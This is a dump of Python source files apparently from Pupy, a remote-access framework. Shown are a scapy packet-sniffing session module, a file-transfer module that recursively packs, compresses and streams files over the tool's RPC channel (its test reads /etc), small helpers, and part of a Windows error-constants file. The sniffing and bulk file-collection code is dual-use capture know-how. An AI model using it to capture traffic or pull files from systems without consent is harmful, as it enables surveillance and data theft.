    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\nimport sys\nimport traceback\n\nfrom scapy.all import (\n    conf, ETH_P_ALL, six, WINDOWS, errno\n)\n\ntry:\n    from scapy.all import POWERSHELL_PROCESS  # Import fails on Linux\nexcept ImportError:\n    pass\n\nfrom select import select, error as select_error\nfrom threading import Thread, Event\nfrom psutil import net_if_addrs\nfrom time import time\nfrom pupy.network.lib.pupyrpc import nowait\n\n\ndef isniff(count=0, prn=None, lfilter=None,\n          L2socket=None, timeout=None, completion=None,\n          iface=None, *arg, **karg):\n\n    c = 0\n    sniff_sockets = {}  # socket: label dict\n\n    if not sniff_sockets or iface is not None:\n        if L2socket is None:\n            L2socket = conf.L2listen\n        if isinstance(iface, list):\n            sniff_sockets.update(\n                (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), ifname)\n                for ifname in iface\n            )\n        elif isinstance(iface, dict):\n            sniff_sockets.update(\n                (L2socket(type=ETH_P_ALL, iface=ifname, *arg, **karg), iflabel)\n                for ifname, iflabel in six.iteritems(iface)\n            )\n        else:\n            sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,\n                                   *arg, **karg)] = iface\n\n    if timeout is not None:\n        stoptime = time() + timeout\n\n    remain = None\n    read_allowed_exceptions = ()\n\n    if conf.use_bpf:\n        from scapy.arch.bpf.supersocket import bpf_select\n\n        def _select(sockets):\n            return bpf_select(sockets, remain)\n\n    elif WINDOWS:\n        from scapy.arch.pcapdnet import PcapTimeoutElapsed\n        read_allowed_exceptions = (PcapTimeoutElapsed,)\n\n        def _select(sockets):\n            try:\n                return sockets\n            except PcapTimeoutElapsed:\n                return []\n    else:\n        def _select(sockets):\n            try:\n                return select(sockets, [], [], remain or 5)[0]\n            except select_error as exc:\n                # Catch 'Interrupted system call' errors\n                if exc[0] == errno.EINTR:\n                    return []\n                raise\n    try:\n        while sniff_sockets:\n            if timeout is not None:\n                remain = stoptime - time()\n                if remain <= 0:\n                    break\n\n            if completion is not None:\n                if completion.is_set():\n                    break\n\n            ins = _select(sniff_sockets)\n            for s in ins:\n                try:\n                    p = s.recv()\n                except read_allowed_exceptions:\n                    continue\n                if p is None:\n                    del sniff_sockets[s]\n                    break\n                if lfilter and not lfilter(p):\n                    continue\n                p.sniffed_on = sniff_sockets[s]\n\n                c += 1\n                if prn:\n                    r = prn(p)\n                    if r is not None:\n                        print(r)\n\n                if 0 < count <= c:\n                    sniff_sockets = []\n                    break\n\n    except KeyboardInterrupt:\n        pass\n\nclass StopSniff(Exception):\n    pass\n\nclass SniffSession(Thread):\n    def __init__(self, on_data, on_close, iface=None, bpf=None, timeout=None, count=0):\n        super(SniffSession, self).__init__()\n\n        self._on_data = on_data\n        self._on_close = on_close\n\n        self.bpf = bpf\n        self.timeout = timeout\n        self.count = count\n        self.iface = None\n        self.name = None\n\n        self.completion = Event()\n\n        self._set_iface(iface)\n\n    def _set_iface(self, iface):\n\n        if isinstance(iface, bytes):\n            iface = iface.decode('utf-8')\n\n        nice_name = iface\n        iface = iface.encode(sys.getfilesystemencoding())\n\n        known_ifaces = net_if_addrs()\n\n        if iface not in known_ifaces:\n            raise ValueError('Unknown interface {} / known: {}'.format(\n                nice_name.encode('utf-8'),\n                ', '.join(\n                    '\"{}\"'.format(\n                        x.decode(sys.getfilesystemencoding()).encode('utf-8'))\n                for x in known_ifaces)))\n\n        if WINDOWS:\n            from scapy.arch.windows import IFACES\n\n            mac = None\n            for family in known_ifaces[iface]:\n                if '-' in family.address:\n                    mac = family.address\n                    break\n\n            if not mac:\n                raise ValueError('Could not find MAC for specified interface')\n\n            for guid, scapy_iface in IFACES.items():\n                if scapy_iface.mac.replace('-', ':') == mac.replace('-', ':'):\n                    self.iface = scapy_iface\n                    break\n\n            if not self.iface:\n                raise ValueError('Could not find scapy interface')\n\n        else:\n            self.iface = iface\n\n        self.nice_name = nice_name\n\n    def sniff_callback(self, packet):\n        if self.completion.is_set():\n            raise StopSniff()\n\n        if self._on_data:\n            self._on_data(str(packet))\n\n    def run(self):\n        self.completion.clear()\n        reason = None\n\n        try:\n            isniff(\n                prn=self.sniff_callback,\n                filter=self.bpf,\n                count=self.count,\n                timeout=self.timeout,\n                iface=self.iface,\n                completion=self.completion\n            )\n\n        except StopSniff:\n            reason = 'Interrupted'\n\n        except Exception as e:\n            reason = 'Sniff: {}: {}'.format(\n                e, traceback.format_exc())\n\n        finally:\n            self.completion.set()\n            if self._on_close:\n                try:\n                    self._on_close(reason)\n                except:\n                    pass\n\n            if WINDOWS:\n                try:\n                    POWERSHELL_PROCESS.close()\n                except:\n                    pass\n\n\n    def stop(self):\n        self.completion.set()\n\n    def is_stopped(self, x):\n        return self.stopped\n\n\ndef run(on_data, on_close, iface=None, bpf=None, timeout=None, count=0):\n    sniffer = SniffSession(\n        nowait(on_data), nowait(on_close), iface, bpf, timeout, count)\n\n    sniffer.start()\n\n    return sniffer.nice_name, sniffer.stop\n\n\nif __name__==\"__main__\":\n\n    def cb(pkt):\n        print(pkt.summary())\n\n    t = SniffSession(cb, None, iface=\"eth0\")\n    t.start()\n    t.stop()\n"
  },
  {
    "path": "pupy/packages/all/transfer.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom io import open\nfrom os import path, stat\nfrom threading import Thread, Event\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\nelse:\n    from Queue import Queue, Empty\n\nfrom pupy.network.lib.buffer import Buffer\nfrom pupy.network.lib.pupyrpc import nowait, brine\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nfrom zipfile import ZipFile, is_zipfile\nfrom tarfile import is_tarfile\nfrom tarfile import open as open_tarfile\n\nHAS_BUFFER_OPTIMIZATION = False\n\nif Buffer in brine.simple_types:\n    HAS_BUFFER_OPTIMIZATION = True\nelse:\n    from io import BytesIO as Buffer\n\nif sys.platform == 'win32':\n    from junctions import islink, readlink, lstat\nelse:\n    from os import readlink, lstat\n    from os.path import islink\n\nfrom zlib import compress\n\nfrom scandir import scandir\nif scandir is None:\n    from scandir import scandir_generic as scandir\n\nimport sys\nimport traceback\n\nimport umsgpack\n\nimport re\n\nfrom pupy.network.lib import getLogger\nlogger = getLogger('transfer')\n\nFIELDS_MAP = {\n    x:y for x,y in enumerate([\n        'st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev'\n    ])\n}\n\nFIELDS_MAP_ENCODE = {\n    y:x for x,y in FIELDS_MAP.items()\n}\n\nF_TYPE     = 0\nF_PATH     = 1\nF_FILES    = 2\nF_SIZE     = 3\nF_DATA     = 4\nF_EXC      = 5\nF_STAT     = 6\nF_ROOT     = 7\n\nT_SIZE     = 0\nT_FILE     = 1\nT_CONTENT  = 2\nT_ZCONTENT = 3\nT_SPARSE   = 4\nT_CLOSE    = 5\nT_C_EXC    = 6\nT_DIRVIEW  = 7\nT_EXC      = 8\nT_FINISH   = 9\n\nD_ROOT     = 0\nD_DIRS     = 1\nD_SYMS     = 2\nD_HARDS    = 3\nD_SPECIALS = 4\nD_EMPTY    = 5\nD_FILES    = 6\n\n\nclass Transfer(object):\n    def __init__(self, exclude=None, include=None, follow_symlinks=False,\n                 find_size=False, ignore_size=False, single_device=False,\n                     chunk_size=1*1024*1024):\n        self.initialized = False\n\n        self._terminate = Event()\n        self.worker = Thread(target=self._worker_run)\n        self.queue = Queue()\n\n        self.follow_symlinks = follow_symlinks\n        self.chunk_size = chunk_size\n        self.find_size = find_size\n        self.ignore_size = ignore_size\n        self.single_device = single_device\n        self.read_portion = min(16*4096, self.chunk_size)\n\n        self.worker.daemon = True\n\n        self.exclude = re.compile(exclude) if exclude else None\n        self.include = re.compile(include) if include else None\n\n        self.initialized = True\n        self.worker.start()\n\n        self._current_file = None\n\n    def __del__(self):\n        self.terminate()\n\n    def _walk_scandir(self, top, dups={}):\n        dirs = []\n        files = []\n        symlinks = []\n        hardlinks = []\n        special = []\n\n        if self.single_device:\n            try:\n                topstat = stat(top)\n            except OSError as e:\n                logger.debug('_walk_scandir:topstat: %s', e)\n                return\n\n            except Exception as e:\n                logger.exception('_walk_scandir:topstat: %s', e)\n                raise\n\n            if self.single_device is True:\n                self.single_device = topstat.st_dev\n            elif self.single_device != topstat.st_dev:\n                return\n\n        try:\n            scandir_it = scandir(top)\n        except OSError as e:\n            logger.debug('_walk_scandir:scandir: %s', e)\n            return\n\n        except Exception as e:\n            logger.exception('_walk_scandir:scandir: %s', e)\n            raise\n\n        while not self._terminate.is_set():\n            try:\n                try:\n                    entry = next(scandir_it)\n\n                except UnicodeDecodeError as e:\n                    ## ???\n                    logger.debug('_walk_scandir:next(scandir_it): %s', e)\n                    continue\n\n                except StopIteration:\n                    break\n\n            except OSError as e:\n                logger.debug('_walk_scandir:next(scandir_it): %s', e)\n                return\n\n            if entry is None:\n                logger.error('Entry is None')\n                continue\n\n            name = entry.path\n\n            if self.exclude:\n                if self.include and not self.include.match(name) and self.exclude.match(name):\n                    continue\n                elif self.exclude.match(name):\n                    continue\n            elif self.include and not self.include.match(name):\n                continue\n\n            is_dir = False\n            is_file = False\n            is_symlink = False\n\n            if not self.follow_symlinks:\n                try:\n                    is_symlink = entry.is_symlink()\n\n                    if not is_symlink and sys.platform == 'win32' and entry.is_dir(follow_symlinks=False):\n                        is_symlink = islink(entry.path)\n                except OSError as e:\n                    logger.debug('_walk_scandir:follow_symlinks: %s', e)\n                    pass\n\n            if not is_symlink:\n                try:\n                    is_dir = entry.is_dir(follow_symlinks=self.follow_symlinks)\n                except OSError as e:\n                    logger.debug('_walk_scandir:is_dir: %s', e)\n                    pass\n\n            if not is_dir and not is_symlink:\n                try:\n                    is_file = entry.is_file(follow_symlinks=self.follow_symlinks)\n                except OSError as e:\n                    logger.debug('_walk_scandir:is_file: %s', e)\n                    pass\n\n            if not is_dir and not is_file and not is_symlink:\n                try:\n                    is_symlink = entry.is_symlink()\n                except:\n                    pass\n\n            if is_symlink:\n                try:\n                    linked_to = readlink(name)\n                    symlinks.append((entry, linked_to))\n                except (IOError, OSError):\n                    pass\n\n            elif is_dir:\n                dirs.append(entry)\n            elif is_file:\n                hardlinked = False\n                try:\n                    estat = entry.stat()\n                    if estat.st_nlink > 1:\n                        inode = estat.st_ino\n                        if inode in dups:\n                            hardlinks.append((entry, dups[inode]))\n                            hardlinked = True\n                        else:\n                            dups[inode] = name\n\n                    if not hardlinked:\n                        files.append(entry)\n\n                except OSError as e:\n                    logger.debug('_walk_scandir:hardlinked: %s', e)\n            else:\n                special.append(entry)\n\n        yield top, dirs, files, symlinks, hardlinks, special\n\n        dirpaths = [\n            edir.name for edir in dirs\n        ]\n\n        del dirs[:], files[:], symlinks[:], hardlinks[:], special[:]\n\n        for direntry in dirpaths:\n            new_path = path.join(top, direntry)\n            if self.follow_symlinks or not islink(new_path):\n                for dentry in self._walk_scandir(new_path, dups):\n                    yield dentry\n\n    def _worker_run_unsafe(self, buf):\n        global HAS_BUFFER_OPTIMIZATION\n\n        while not self._terminate.is_set():\n            task = self.queue.get()\n\n            if task is None:\n                self._terminate.set()\n                break\n\n            command, args, callback = task\n            if command is None and args is None:\n                if callback is not None:\n                    callback(None, None)\n\n                self._terminate.set()\n                break\n\n            restore_compression = False\n            channel = None\n\n            try:\n                channel = object.__getattribute__(callback, \"____conn__\")()._channel\n            except:\n                pass\n\n            try:\n                for chunk in command(*args):\n                    umsgpack.dump(chunk, buf)\n\n                    if channel and channel.compress and chunk.get(F_TYPE) == T_ZCONTENT:\n                        restore_compression = True\n                        channel.compress = False\n\n                    del chunk\n\n                    bpos = None\n\n                    if HAS_BUFFER_OPTIMIZATION:\n                        bpos = len(buf)\n                    else:\n                        bpos = buf.tell()\n\n                    if bpos > self.chunk_size:\n                        if HAS_BUFFER_OPTIMIZATION:\n                            callback(buf, None)\n                            buf.drain()\n                        else:\n                            buf.seek(0)\n                            data = buf.read(bpos)\n                            buf.seek(0)\n                            callback(data, None)\n                            del data\n\n                        if restore_compression:\n                            try:\n                                channel.compress = restore_compression\n                            except:\n                                pass\n\n                            restore_compression = False\n\n                    if self._terminate.is_set():\n                        break\n\n                bpos = None\n                if HAS_BUFFER_OPTIMIZATION:\n                    bpos = len(buf)\n                else:\n                    bpos = buf.tell()\n\n                if bpos > 0:\n                    if HAS_BUFFER_OPTIMIZATION:\n                        callback(buf, None)\n                        buf.drain()\n                    else:\n                        buf.seek(0)\n                        data = buf.read(bpos)\n                        buf.seek(0)\n                        callback(data, None)\n                        del data\n\n            except Exception as e:\n                try:\n                    callback(None, e)\n                except EOFError:\n                    pass\n\n            finally:\n                if restore_compression:\n                    try:\n                        channel.compress = restore_compression\n                    except:\n                        pass\n\n        if callback:\n            callback(None, None)\n\n    def _worker_run(self):\n        try:\n            buf = Buffer()\n            self._worker_run_unsafe(buf)\n        finally:\n            del buf\n\n            if self._current_file:\n                try:\n                    self._current_file.close()\n                except:\n                    pass\n\n                self._current_file = None\n\n    def _size(self, filepath):\n        files_count = 0\n        files_size = 0\n\n        if not path.isdir(filepath):\n            if self.follow_symlinks:\n                filestat = stat(filepath)\n            else:\n                filestat = lstat(filepath)\n\n            yield {\n                F_TYPE: T_SIZE,\n                F_PATH: filepath,\n                F_FILES: 1,\n                F_SIZE: filestat.st_size,\n            }\n            return\n\n        for root, dirs, files, syms, hards, specials in self._walk_scandir(filepath):\n            for f in files:\n                files_count += 1\n                files_size += f.stat().st_size\n\n                if self._terminate.is_set():\n                    break\n\n            if self._terminate.is_set():\n                break\n\n        yield {\n            F_TYPE: T_SIZE,\n            F_PATH: filepath,\n            F_FILES: files_count,\n            F_SIZE: files_size,\n        }\n\n    def _stat_to_vec(self, stat):\n        vec = [0]*len(FIELDS_MAP_ENCODE)\n        for field in dir(stat):\n            if field not in FIELDS_MAP_ENCODE:\n                continue\n\n            vec[FIELDS_MAP_ENCODE[field]] = getattr(stat, field)\n\n        return vec\n\n    def _pack_fileobj(self, infile):\n        high_entropy_cases = 0\n        zeros = 0\n\n        self._current_file = infile\n        while not self._terminate.is_set():\n            portion = infile.read(self.read_portion)\n\n            if not portion:\n                break\n\n            if zeros < (0xFFFFFFFE - self.read_portion) and all(\n                    v == b'\\0' for v in portion):\n                zeros += len(portion)\n                del portion\n                continue\n\n            if zeros > 0:\n                yield {\n                    F_TYPE: T_SPARSE,\n                    F_DATA: zeros,\n                }\n                zeros = 0\n\n            zdata = None\n\n            if high_entropy_cases < 3:\n                zdata = compress(portion)\n\n            datalen = len(portion)\n\n            if not zdata or len(zdata) >= datalen - (datalen*0.2):\n                high_entropy_cases += 1\n\n                result = {\n                    F_TYPE: T_CONTENT,\n                    F_DATA: portion\n                }\n\n                del zdata, portion\n                yield result\n\n            else:\n                high_entropy_cases = 0\n\n                result = {\n                    F_TYPE: T_ZCONTENT,\n                    F_DATA: zdata\n                }\n                del zdata, portion\n                yield result\n\n        if zeros > 0:\n            yield {\n                F_TYPE: T_SPARSE,\n                F_DATA: zeros,\n            }\n            zeros = 0\n\n        yield {\n            F_TYPE: T_CLOSE,\n        }\n\n    def _pack_file(self, filepath, top=None):\n        yield {\n            F_TYPE: T_FILE,\n            F_PATH: filepath,\n        }\n\n        if top:\n            filepath = path.join(top, filepath)\n\n        if self._current_file:\n            raise ValueError('Invalid messages order')\n\n        try:\n            with open(filepath, 'rb', 0) as infile:\n                for portion in self._pack_fileobj(infile):\n                    yield portion\n\n        except (OSError, IOError) as e:\n            yield {\n                F_TYPE: T_C_EXC,\n                F_EXC: e.args[1],\n                F_DATA: e.filename,\n            }\n\n        except Exception as e:\n            yield {\n                F_TYPE: T_C_EXC,\n                F_EXC: str(type(e)),\n                F_DATA: str(e)\n            }\n\n        finally:\n            self._current_file = None\n\n    def _pack_path(self, filepath):\n        stats = []\n        dirview = {\n            F_TYPE: T_DIRVIEW,\n            F_DATA: {\n                D_ROOT: '',\n                D_DIRS: [],\n                D_SYMS: [],\n                D_HARDS: [],\n                D_SPECIALS: [],\n                D_EMPTY: [],\n                D_FILES: [],\n            }\n        }\n\n        for root, dirs, files, syms, hards, specials in self._walk_scandir(filepath):\n            for f in files:\n                stats.append((f.name, f.stat()))\n\n            dirview[F_DATA][D_ROOT] = root\n\n            for x in dirs:\n                dirview[F_DATA][D_DIRS].append((x.name, self._stat_to_vec(x.stat())))\n\n            for x,link in syms:\n                dirview[F_DATA][D_SYMS].append((x.name, link))\n\n            for x,link in hards:\n                dirview[F_DATA][D_HARDS].append((x.name, self._stat_to_vec(x.stat()), link))\n\n            for x in dirs:\n                dirview[F_DATA][D_SPECIALS].append((x.name, self._stat_to_vec(x.stat())))\n\n            for x,y in stats:\n                if not self.ignore_size or y.st_size == 0:\n                    dirview[F_DATA][D_EMPTY].append((x, self._stat_to_vec(y)))\n                else:\n                    dirview[F_DATA][D_FILES].append((x, self._stat_to_vec(y)))\n\n            del files[:], syms[:], hards[:], specials[:]\n\n            yield dirview\n\n            for k in (D_DIRS, D_SYMS, D_HARDS, D_SPECIALS, D_EMPTY, D_FILES):\n                del dirview[F_DATA][k][:]\n\n            for fp, fpstat in stats:\n                if not self.ignore_size and not fpstat.st_size:\n                    continue\n\n                for portion in self._pack_file(fp, top=root):\n                    yield portion\n                    del portion\n\n            del stats[:]\n\n    def _is_supported_archive(self, filepath):\n        if not filepath.startswith(('zip:', 'tar:')):\n            return False\n\n        parts = filepath.split(':', 2)\n        if not len(parts) == 3:\n            return False\n\n        ext, archive_path, sub_path = parts\n\n        if path.isfile(archive_path) and not path.isfile(filepath):\n            if is_zipfile(archive_path):\n                return 'zip', archive_path, sub_path\n            elif is_tarfile(archive_path):\n                return 'tar', archive_path, sub_path\n\n        return False\n\n    def _pack_any(self, filepath):\n        try:\n            supported_archive = self._is_supported_archive(filepath)\n            if supported_archive:\n                archive, archive_filepath, archive_subpath = supported_archive\n                if archive == 'zip':\n                    with ZipFile(archive_filepath) as zf:\n                        for item in zf.infolist():\n                            if item.filename == archive_subpath or \\\n                              item.filename.startswith(archive_subpath+'/'):\n\n                                try:\n                                    archive_filename = item.filename.decode(sys.getfilesystemencoding())\n                                except UnicodeDecodeError:\n                                    archive_filename = item.filename\n\n                                yield {\n                                    F_TYPE: T_FILE,\n                                    F_PATH: '/'.join([\n                                        archive_filepath,\n                                        archive_filename\n                                    ])\n                                }\n\n                                for portion in self._pack_fileobj(zf.open(item)):\n                                    yield portion\n\n                elif archive == 'tar':\n                    with open_tarfile(archive_filepath) as tf:\n                        for item in tf:\n                            # For now support only simple files extraction, same as zip\n                            if not item.isfile():\n                                continue\n\n                            if item.name == archive_subpath or \\\n                              item.name.startswith(archive_subpath+'/'):\n\n                                try:\n                                    archive_filename = item.name.decode(sys.getfilesystemencoding())\n                                except UnicodeDecodeError:\n                                    archive_filename = item.name\n\n                                yield {\n                                    F_TYPE: T_FILE,\n                                    F_PATH: u'/'.join([\n                                        archive_filepath,\n                                        archive_filename\n                                    ])\n                                }\n\n                                for portion in self._pack_fileobj(tf.extractfile(item)):\n                                    yield portion\n\n            elif path.isfile(filepath):\n                root = path.dirname(filepath)\n                basename = path.basename(filepath)\n                portions = self._pack_file(basename, top=root)\n                header = next(portions)\n\n                if self.follow_symlinks:\n                    filestat = stat(filepath)\n                else:\n                    filestat = lstat(filepath)\n\n                header.update({\n                    F_TYPE: T_FILE,\n                    F_STAT: self._stat_to_vec(filestat),\n                    F_ROOT: root,\n                })\n\n                yield header\n\n                for portion in portions:\n                    yield portion\n                    del portion\n\n            elif path.isdir(filepath):\n                if self.find_size:\n                    for portion in self._size(filepath):\n                        yield portion\n                        del portion\n\n                for portion in self._pack_path(filepath):\n                    yield portion\n                    del portion\n            else:\n                yield {\n                    F_TYPE: T_EXC,\n                    F_EXC: 'No download target',\n                    F_DATA: filepath\n                }\n\n                return\n\n            yield {\n                F_TYPE: T_FINISH,\n                F_DATA: filepath\n            }\n\n        except Exception as e:\n            yield {\n                F_TYPE: T_EXC,\n                F_EXC: str(type(e)),\n                F_DATA: str(e) + traceback.format_exc(limit=20)\n            }\n\n    def _submit_command(self, command, args, callback):\n        self.queue.put((command, args, callback))\n\n    def _expand(self, filepath):\n        filepath = path.expandvars(filepath)\n        filepath = path.expanduser(filepath)\n        return (filepath, )\n\n    def size(self, filepath, callback, nonblock=False):\n        filepath = as_unicode_string(filepath)\n        if nonblock:\n            callback = nowait(callback)\n        self._submit_command(\n            self._size, self._expand(filepath), callback)\n\n    def transfer(self, filepath, callback, nonblock=False):\n        filepath = as_unicode_string(filepath)\n        if nonblock:\n            callback = nowait(callback)\n        self._submit_command(\n            self._pack_any, self._expand(filepath), callback)\n\n    def stop(self, callback):\n        self.queue.put_nowait((None, None, callback))\n\n    def terminate(self):\n        if not self.initialized:\n            return\n\n        if not self._terminate.is_set():\n            self._terminate.set()\n            self.queue.put(None)\n\n        try:\n            self.worker.join()\n        except:\n            pass\n\n    def join(self):\n        self.worker.join()\n\ndef du(filepath, callback, exclude=None, include=None, follow_symlinks=False,\n       single_device=False, chunk_size=1*1024*1024):\n    t = Transfer(exclude, include, follow_symlinks, False, False, single_device, chunk_size)\n    t.size(filepath, callback)\n    t.stop(callback)\n    return t.terminate\n\ndef transfer(filepath, callback, exclude=None, include=None, follow_symlinks=False,\n             ignore_size=False, single_device=False, chunk_size=1*1024*1024):\n    t = Transfer(exclude, include, follow_symlinks, False, ignore_size, single_device, chunk_size)\n    t.transfer(filepath, callback)\n    t.stop(callback)\n    return t.terminate\n\ndef transfer_closure(callback, exclude=None, include=None, follow_symlinks=False,\n             ignore_size=False, single_device=False, chunk_size=1*1024*1024):\n\n    t = Transfer(exclude, include, follow_symlinks, False, ignore_size, single_device, chunk_size)\n\n    def _closure(filespec):\n        filepath = filespec\n        if type(filespec) is tuple:\n            filepath = filespec[0]\n\n        t.transfer(filepath, callback)\n\n    def _stop():\n        t.stop(callback)\n\n    return _closure, _stop, t.terminate\n\n\nif __name__ == '__main__':\n    import StringIO\n\n    def blob_printer(data, exception):\n        if exception:\n            import traceback\n            print(\"EXCEPTION!\")\n            traceback.print_exc(exception)\n        elif data:\n            data = StringIO(data)\n            print('=========================================================')\n\n            while True:\n                try:\n                    msg = umsgpack.load(data)\n                except umsgpack.InsufficientDataException:\n                    break\n\n                if msg['type'].endswith('content'):\n                    print(\"chunk size\", len(msg['data']))\n                elif msg['type'] == 'dirview':\n                    line = msg['data']['root'] + ':'\n                    for k,v in msg['data'].items():\n                        if k == 'root':\n                            continue\n                        line += ' {}:{}'.format(k, len(v))\n                    print(line)\n\n                else:\n                    print(\"DATA:\", msg)\n\n            print('=========================================================')\n\n    t = Transfer()\n    print(\"START\")\n    t.size('/etc', callback=blob_printer, nonblock=False)\n    t.transfer('/etc', callback=blob_printer, nonblock=False)\n    print(\"WAIT\")\n    t.stop(None)\n    t.join()\n    print(\"END\")\n"
  },
  {
    "path": "pupy/packages/all/whole.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nif sys.version_info.major > 2:\n    basestring = str\n    unicode = str\n\n\ndef to_string(x):\n    if isinstance(x, (list, tuple, set, frozenset)):\n        return [to_string(y) for y in x]\n    elif isinstance(x, basestring):\n        return x\n    elif x is None:\n        return ''\n    elif isinstance(x, dict):\n        return {\n            to_string(k):to_string(v) for k,v in x.items()\n        }\n    else:\n        return unicode(x)\n\n\ndef to_strings_list(function, *args, **kwargs):\n    results = []\n    raise_on_exception = kwargs.pop('raise_on_exception', True)\n\n    iterator = function(*args, **kwargs)\n\n    while True:\n        try:\n            result = next(iterator)\n            results.append(to_string(result))\n\n        except StopIteration:\n            break\n\n        except:\n            if raise_on_exception:\n                raise\n\n    return results\n"
  },
  {
    "path": "pupy/packages/all/winerror.py",
    "content": "\"\"\"Error related constants for win32\n\nGenerated by h2py from winerror.h\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n# Few extras added manually...\nTRUST_E_PROVIDER_UNKNOWN = -2146762751\nTRUST_E_ACTION_UNKNOWN = -2146762750\nTRUST_E_SUBJECT_FORM_UNKNOWN = -2146762749\nTRUST_E_SUBJECT_NOT_TRUSTED = -2146762748\n# up to here...\n\nFACILITY_WINRM = 51\nFACILITY_WINDOWSUPDATE = 36\nFACILITY_WINDOWS_DEFENDER = 80\nFACILITY_WINDOWS_CE = 24\nFACILITY_WINDOWS = 8\nFACILITY_URT = 19\nFACILITY_UMI = 22\nFACILITY_TPM_SOFTWARE = 41\nFACILITY_TPM_SERVICES = 40\nFACILITY_SXS = 23\nFACILITY_STORAGE = 3\nFACILITY_STATE_MANAGEMENT = 34\nFACILITY_SSPI = 9\nFACILITY_SCARD = 16\nFACILITY_SHELL = 39\nFACILITY_SETUPAPI = 15\nFACILITY_SECURITY = 9\nFACILITY_RPC = 1\nFACILITY_PLA = 48\nFACILITY_WIN32 = 7\nFACILITY_CONTROL = 10\nFACILITY_NULL = 0\nFACILITY_NDIS = 52\nFACILITY_METADIRECTORY = 35\nFACILITY_MSMQ = 14\nFACILITY_MEDIASERVER = 13\nFACILITY_INTERNET = 12\nFACILITY_ITF = 4\nFACILITY_USERMODE_HYPERVISOR = 53\nFACILITY_HTTP = 25\nFACILITY_GRAPHICS = 38\nFACILITY_FWP = 50\nFACILITY_FVE = 49\nFACILITY_USERMODE_FILTER_MANAGER = 31\nFACILITY_DPLAY = 21\nFACILITY_DISPATCH = 2\nFACILITY_DIRECTORYSERVICE = 37\nFACILITY_CONFIGURATION = 33\nFACILITY_COMPLUS = 17\nFACILITY_USERMODE_COMMONLOG = 26\nFACILITY_CMI = 54\nFACILITY_CERT = 11\nFACILITY_BACKGROUNDCOPY = 32\nFACILITY_ACS = 20\nFACILITY_AAF = 18\nERROR_SUCCESS = 0\nNO_ERROR = 0\nS_OK = 0\nS_FALSE = 1\nERROR_INVALID_FUNCTION = 1\nERROR_FILE_NOT_FOUND = 2\nERROR_PATH_NOT_FOUND = 3\nERROR_TOO_MANY_OPEN_FILES = 4\nERROR_ACCESS_DENIED = 5\nERROR_INVALID_HANDLE = 6\nERROR_ARENA_TRASHED = 7\nERROR_NOT_ENOUGH_MEMORY = 8\nERROR_INVALID_BLOCK = 9\nERROR_BAD_ENVIRONMENT = 10\nERROR_BAD_FORMAT = 11\nERROR_INVALID_ACCESS = 12\nERROR_INVALID_DATA = 13\nERROR_OUTOFMEMORY = 14\nERROR_INVALID_DRIVE = 15\nERROR_CURRENT_DIRECTORY = 16\nERROR_NOT_SAME_DEVICE = 17\nERROR_NO_MORE_FILES = 18\nERROR_WRITE_PROTECT = 19\nERROR_BAD_UNIT = 20\nERROR_NOT_READY = 21\nERROR_BAD_COMMAND = 22\nERROR_CRC = 23\nERROR_BAD_LENGTH = 24\nERROR_SEEK = 25\nERROR_NOT_DOS_DISK = 26\nERROR_SECTOR_NOT_FOUND = 27\nERROR_OUT_OF_PAPER = 28\nERROR_WRITE_FAULT = 29\nERROR_READ_FAULT = 30\nERROR_GEN_FAILURE = 31\nERROR_SHARING_VIOLATION = 32\nERROR_LOCK_VIOLATION = 33\nERROR_WRONG_DISK = 34\nERROR_SHARING_BUFFER_EXCEEDED = 36\nERROR_HANDLE_EOF = 38\nERROR_HANDLE_DISK_FULL = 39\nERROR_NOT_SUPPORTED = 50\nERROR_REM_NOT_LIST = 51\nERROR_DUP_NAME = 52\nERROR_BAD_NETPATH = 53\nERROR_NETWORK_BUSY = 54\nERROR_DEV_NOT_EXIST = 55\nERROR_TOO_MANY_CMDS = 56\nERROR_ADAP_HDW_ERR = 57\nERROR_BAD_NET_RESP = 58\nERROR_UNEXP_NET_ERR = 59\nERROR_BAD_REM_ADAP = 60\nERROR_PRINTQ_FULL = 61\nERROR_NO_SPOOL_SPACE = 62\nERROR_PRINT_CANCELLED = 63\nERROR_NETNAME_DELETED = 64\nERROR_NETWORK_ACCESS_DENIED = 65\nERROR_BAD_DEV_TYPE = 66\nERROR_BAD_NET_NAME = 67\nERROR_TOO_MANY_NAMES = 68\nERROR_TOO_MANY_SESS = 69\nERROR_SHARING_PAUSED = 70\nERROR_REQ_NOT_ACCEP = 71\nERROR_REDIR_PAUSED = 72\nERROR_FILE_EXISTS = 80\nERROR_CANNOT_MAKE = 82\nERROR_FAIL_I24 = 83\nERROR_OUT_OF_STRUCTURES = 84\nERROR_ALREADY_ASSIGNED = 85\nERROR_INVALID_PASSWORD = 86\nERROR_INVALID_PARAMETER = 87\nERROR_NET_WRITE_FAULT = 88\nERROR_NO_PROC_SLOTS = 89\nERROR_TOO_MANY_SEMAPHORES = 100\nERROR_EXCL_SEM_ALREADY_OWNED = 101\nERROR_SEM_IS_SET = 102\nERROR_TOO_MANY_SEM_REQUESTS = 103\nERROR_INVALID_AT_INTERRUPT_TIME = 104\nERROR_SEM_OWNER_DIED = 105\nERROR_SEM_USER_LIMIT = 106\nERROR_DISK_CHANGE = 107\nERROR_DRIVE_LOCKED = 108\nERROR_BROKEN_PIPE = 109\nERROR_OPEN_FAILED = 110\nERROR_BUFFER_OVERFLOW = 111\nERROR_DISK_FULL = 112\nERROR_NO_MORE_SEARCH_HANDLES = 113\nERROR_INVALID_TARGET_HANDLE = 114\nERROR_INVALID_CATEGORY = 117\nERROR_INVALID_VERIFY_SWITCH = 